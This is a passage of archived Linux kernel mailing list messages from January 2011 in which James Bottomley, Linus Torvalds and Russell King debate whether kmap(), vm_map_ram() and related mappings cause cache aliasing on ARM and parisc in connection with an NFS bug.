	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 05 21:34:10 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Paa3c-0006Zx-1c
	for glk-linux-kernel-3@lo.gmane.org; Wed, 05 Jan 2011 21:34:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752705Ab1AEUeD (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 5 Jan 2011 15:34:03 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40144 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751774Ab1AEUeA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 5 Jan 2011 15:34:00 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5E6D38EE10C;
	Wed,  5 Jan 2011 12:34:00 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ocxNHzRGpsRC; Wed,  5 Jan 2011 12:34:00 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 281BF8EE0DF;
	Wed,  5 Jan 2011 12:33:59 -0800 (PST)
In-Reply-To: <20110105200008.GJ8638@n2100.arm.linux.org.uk>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1083704 gmane.linux.nfs:37992 gmane.linux.ports.arm.kernel:101636 gmane.linux.ports.parisc:3329 gmane.linux.kernel.cross-arch:8665
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1083704>

On Wed, 2011-01-05 at 20:00 +0000, Russell King - ARM Linux wrote:
> On Wed, Jan 05, 2011 at 01:36:09PM -0600, James Bottomley wrote:
> > On Wed, 2011-01-05 at 11:18 -0800, Linus Torvalds wrote:
> > > On Wed, Jan 5, 2011 at 11:05 AM, James Bottomley
> > > <James.Bottomley@hansenpartnership.com> wrote:
> > > >
> > > > I think the solution for the kernel direct mapping problem is to take
> > > > the expected flushes and invalidates into kmap/kunmap[_atomic].
> > > 
> > > No, we really can't do that. Most of the time, the kmap() is the only
> > > way we access the page anyway, so flushing things would just be
> > > stupid. Why waste time and energy on doing something pointless?
> > 
> > It's hardly pointless.  The kmap sets up an inequivalent alias in the
> > cache.
> 
> No it doesn't.  For pages which are inaccessible, it sets up a mapping
> for those pages.  On aliasing cache architectures, when you tear down
> such a mapping, you have to flush the cache before you do so (otherwise
> you can end up with cache lines existing in the cache for inaccessible
> mappings.)
> 
> For lowmem pages, kmap() (should always) bypass the 'setup mapping' stage
> because all lowmem pages are already accessible.  So kunmap() doesn't
> do anything - just like the !HIGHMEM implementation for these macros.

well, that depends.  For us on parisc, kmap of a user page in !HIGHMEM
sets up an inequivalent aliase still ... because the cache colour of the
user and kernel virtual addresses are different.  Depending on the
return path to userspace, we still usually have to flush to get the user
to see the changes the kernel has made.

James

> So, for highmem-enabled systems:
> 
> 	low_addr = kmap_atomic(lowmem_page);
> 	high_addr = kmap_atomic(highmem_page);
> 
> results in low_addr in the kernel direct-mapped region, and high_addr
> in the kmap_atomic region.



From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 20:35:17 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <1294259717.16957.27.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <AANLkTik214sj_wBJXhJMLRie34moG7ET1Xg62oQXsgxb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294259736 15961 80.91.229.12 (5 Jan 2011 20:35:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 20:35:36 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 05 21:35:27 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Paa4r-0007OY-Ke
	for glka-linux-arch@lo.gmane.org; Wed, 05 Jan 2011 21:35:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752799Ab1AEUfX (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Jan 2011 15:35:23 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40167 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752544Ab1AEUfV (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 5 Jan 2011 15:35:21 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BBB478EE114;
	Wed,  5 Jan 2011 12:35:20 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5rzavtS89Gwi; Wed,  5 Jan 2011 12:35:20 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6A2748EE0DF;
	Wed,  5 Jan 2011 12:35:19 -0800 (PST)
In-Reply-To: <AANLkTik214sj_wBJXhJMLRie34moG7ET1Xg62oQXsgxb@mail.gmail.com>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8666 gmane.linux.nfs:37993 gmane.linux.kernel:1083705 gmane.linux.ports.arm.kernel:101637 gmane.linux.ports.parisc:3330
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8666>

On Wed, 2011-01-05 at 11:49 -0800, Linus Torvalds wrote:
> 2011/1/5 James Bottomley <James.Bottomley@hansenpartnership.com>:
> >>
> >> No, we really can't do that. Most of the time, the kmap() is the only
> >> way we access the page anyway, so flushing things would just be
> >> stupid. Why waste time and energy on doing something pointless?
> >
> > It's hardly pointless.  The kmap sets up an inequivalent alias in the
> > cache.
> 
> NO IT DOES NOT.

Well, it does ... but not in this case because the page is freshly
allocated (which I missed before) so it has no use cache colour yet.

James

> Stop arguing, when you are so wrong.
> 
> kmap() does not create any aliases. For low-memory, it just returns
> the physical address. No alias. And for high memory, there is no
> equivalent low memory address to alias _with_.
> 
> Now, when you actually mix multiple kmap's and you have a virtually
> based cache, then the kmap's obviously need to flush that particular
> page when switching between each other. But that has nothing to do
> with the actual page being kmap'ed, it's entirely an internal issue
> about the particular virtual memory area being re-used. And ARM (and
> any other virtually based CPU) already does that in __kunmap_atomic().
> 
> But notice the case of the low-mem. And understand that you are WRONG
> about the "inequivalent alias" thing.
> 
> So I repeat: this has absolutely *NOTHING* to do with kmap(). Stop blathering.
> 
> It's _purely_ an issue of vm_map_ram(). Nothing else.
> 
>                           Linus



From - Thu Nov 08 21:06:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 12:48:32 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
 <1294256169.16957.18.camel@mulgrave.site> <20110105200008.GJ8638@n2100.arm.linux.org.uk>
 <1294259637.16957.25.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294260584 20345 80.91.229.12 (5 Jan 2011 20:49:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 20:49:44 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 05 21:49:35 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PaaIY-0007w9-UR
	for glka-linux-arch@lo.gmane.org; Wed, 05 Jan 2011 21:49:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752948Ab1AEUt3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>); Wed, 5 Jan 2011 15:49:29 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:46706 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752286Ab1AEUt2 convert rfc822-to-8bit
	(ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 5 Jan 2011 15:49:28 -0500
Original-Received: from mail-iw0-f174.google.com (mail-iw0-f174.google.com [209.85.214.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p05KmrkC014126
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 5 Jan 2011 12:48:53 -0800
Original-Received: by iwn9 with SMTP id 9so15635181iwn.19
        for <multiple recipients>; Wed, 05 Jan 2011 12:48:53 -0800 (PST)
Original-Received: by 10.231.36.139 with SMTP id t11mr7358584ibd.91.1294260533214; Wed,
 05 Jan 2011 12:48:53 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Wed, 5 Jan 2011 12:48:32 -0800 (PST)
In-Reply-To: <1294259637.16957.25.camel@mulgrave.site>
X-Spam-Status: No, hits=-2.979 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8667 gmane.linux.nfs:37994 gmane.linux.kernel:1083710 gmane.linux.ports.arm.kernel:101639 gmane.linux.ports.parisc:3331
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8667>

On Wed, Jan 5, 2011 at 12:33 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
>
> well, that depends. =A0For us on parisc, kmap of a user page in !HIGH=
MEM
> sets up an inequivalent aliase still ... because the cache colour of =
the
> user and kernel virtual addresses are different. =A0Depending on the
> return path to userspace, we still usually have to flush to get the u=
ser
> to see the changes the kernel has made.

Umm. Again, that has nothing to do with kmap().

This time it's about the user space mapping.

Repeat after me: even without the kmap(), the kernel access to that
mapping would have caused cache aliases.

See? Once more, the kmap() is entirely innocent. You can have a
non-highmem mapping that you never use kmap for, and that you map into
user space, and you'd see exactly the same aliases. Notice? Look ma,
no kmap().

So clearly kmap() is not the issue. The issue continues to be a
totally separate virtual mapping. Whether it's a user mapping or
vm_map_ram() is obviously immaterial - as far as the CPU is concerned,
there is no difference between the two (apart from the trivial
differences of virtual location and permissions).

(You can also force the problem with vmalloc() an then following the
kernel page tables, but I hope nobody does that any more. I suspect
I'm wrong, though, there's probably code that mixes vmalloc and
physical page accesses in various drivers)

                    Linus

From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 21:04:48 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20110105210448.GM8638@n2100.arm.linux.org.uk>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com> <1294256169.16957.18.camel@mulgrave.site> <20110105200008.GJ8638@n2100.arm.linux.org.uk> <1294259637.16957.25.camel@mulgrave.site> <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294261542 25292 80.91.229.12 (5 Jan 2011 21:05:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 21:05:42 +0000 (UTC)
Cc: James Bottomley <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 05 22:05:36 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PaaY4-0001Bv-06
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 05 Jan 2011 22:05:36 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751400Ab1AEVFe (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 5 Jan 2011 16:05:34 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:52309 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751373Ab1AEVFe (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Jan 2011 16:05:34 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=aTyqoLI6sgnW7FKtt2ZakLeOfZ8Mb4dy7QhVZTrNPB8=;
	b=HdDn9bh8idullDdanE7eB7H4Ed3ZhBwwkZdwN2LFXTAQZRrn8f/rcQN2D6oDzsQh6DQcFgIIAj04XDeG/LdWLhYecfPnwcDhU30sOhALUkfEFjs2KRBDk/TGH2OnECEEUrSJDCy5+9myquOyN07UsPaAjbBsYxFNulFm5Sie+y0=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72)
	(envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1PaaXK-000072-EU; Wed, 05 Jan 2011 21:04:50 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1PaaXJ-0005hm-3V; Wed, 05 Jan 2011 21:04:49 +0000
Content-Disposition: inline
In-Reply-To: <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38008 gmane.linux.kernel:1083712 gmane.linux.ports.arm.kernel:101643 gmane.linux.ports.parisc:3332 gmane.linux.kernel.cross-arch:8668
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38008>

On Wed, Jan 05, 2011 at 12:48:32PM -0800, Linus Torvalds wrote:
> (You can also force the problem with vmalloc() an then following the
> kernel page tables, but I hope nobody does that any more. I suspect
> I'm wrong, though, there's probably code that mixes vmalloc and
> physical page accesses in various drivers)

Should vmalloc_to_page() (84 users)/vmalloc_to_pfn() (17 users) be
deprecated then? ;)

However, we seem have new ways of doing this - rather than asking
vmalloc() for some memory, and then getting at the pages by following
the page tables, we now have ways to create mappings using arrays of
struct pages and access them via their already known mappings:

- vm_map_ram(struct page **pages, unsigned int count, int node, pgprot_t prot)
- map_kernel_range_noflush(unsigned long addr, unsigned long size, pgprot_t prot, struct page **pages)
- map_vm_area(struct vm_struct *area, pgprot_t prot, struct page ***pages)
- vmap(struct page **pages, unsigned int count, unsigned long flags, pgprot_t prot)

So really it's the same problem, just created by some other easier
to use methods.
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.nfs,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 13:08:48 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
 <1294256169.16957.18.camel@mulgrave.site> <20110105200008.GJ8638@n2100.arm.linux.org.uk>
 <1294259637.16957.25.camel@mulgrave.site> <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
 <20110105210448.GM8638@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1294261768 26548 80.91.229.12 (5 Jan 2011 21:09:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 21:09:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 05 22:09:21 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Paabh-0003M3-At
	for glk-linux-kernel-3@lo.gmane.org; Wed, 05 Jan 2011 22:09:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752371Ab1AEVJP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 5 Jan 2011 16:09:15 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:56528 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751360Ab1AEVJN (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 5 Jan 2011 16:09:13 -0500
Original-Received: from mail-iw0-f174.google.com (mail-iw0-f174.google.com [209.85.214.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p05L98jX015939
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 5 Jan 2011 13:09:09 -0800
Original-Received: by iwn9 with SMTP id 9so15651414iwn.19
        for <multiple recipients>; Wed, 05 Jan 2011 13:09:08 -0800 (PST)
Original-Received: by 10.231.36.139 with SMTP id t11mr7376291ibd.91.1294261748470; Wed,
 05 Jan 2011 13:09:08 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Wed, 5 Jan 2011 13:08:48 -0800 (PST)
In-Reply-To: <20110105210448.GM8638@n2100.arm.linux.org.uk>
X-Spam-Status: No, hits=-2.978 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1083714 gmane.linux.nfs:38009 gmane.linux.ports.arm.kernel:101644 gmane.linux.ports.parisc:3333 gmane.linux.kernel.cross-arch:8669
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1083714>

On Wed, Jan 5, 2011 at 1:04 PM, Russell King - ARM Linux
<linux@arm.linux.org.uk> wrote:
> On Wed, Jan 05, 2011 at 12:48:32PM -0800, Linus Torvalds wrote:
>> (You can also force the problem with vmalloc() an then following the
>> kernel page tables, but I hope nobody does that any more. I suspect
>> I'm wrong, though, there's probably code that mixes vmalloc and
>> physical page accesses in various drivers)
>
> Should vmalloc_to_page() (84 users)/vmalloc_to_pfn() (17 users) be
> deprecated then? ;)

I do think that the "modern" way of doing it is
"vmap()"/"vm_map_ram()" and friends, and it should be preferred over
using vmalloc() and then looking up the pages.

But in the end, the two approaches really are equivalent, so it's not
like it really matters. So I don't think we need to deprecate things
officially, but obviously we should make people more aware of the
whole virtual alias thing that crops up whenever you use any of these
approaches.

                           Linus

From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 15:16:10 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <1294262170.16957.46.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294262184 28865 80.91.229.12 (5 Jan 2011 21:16:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 21:16:24 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 22:16:18 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
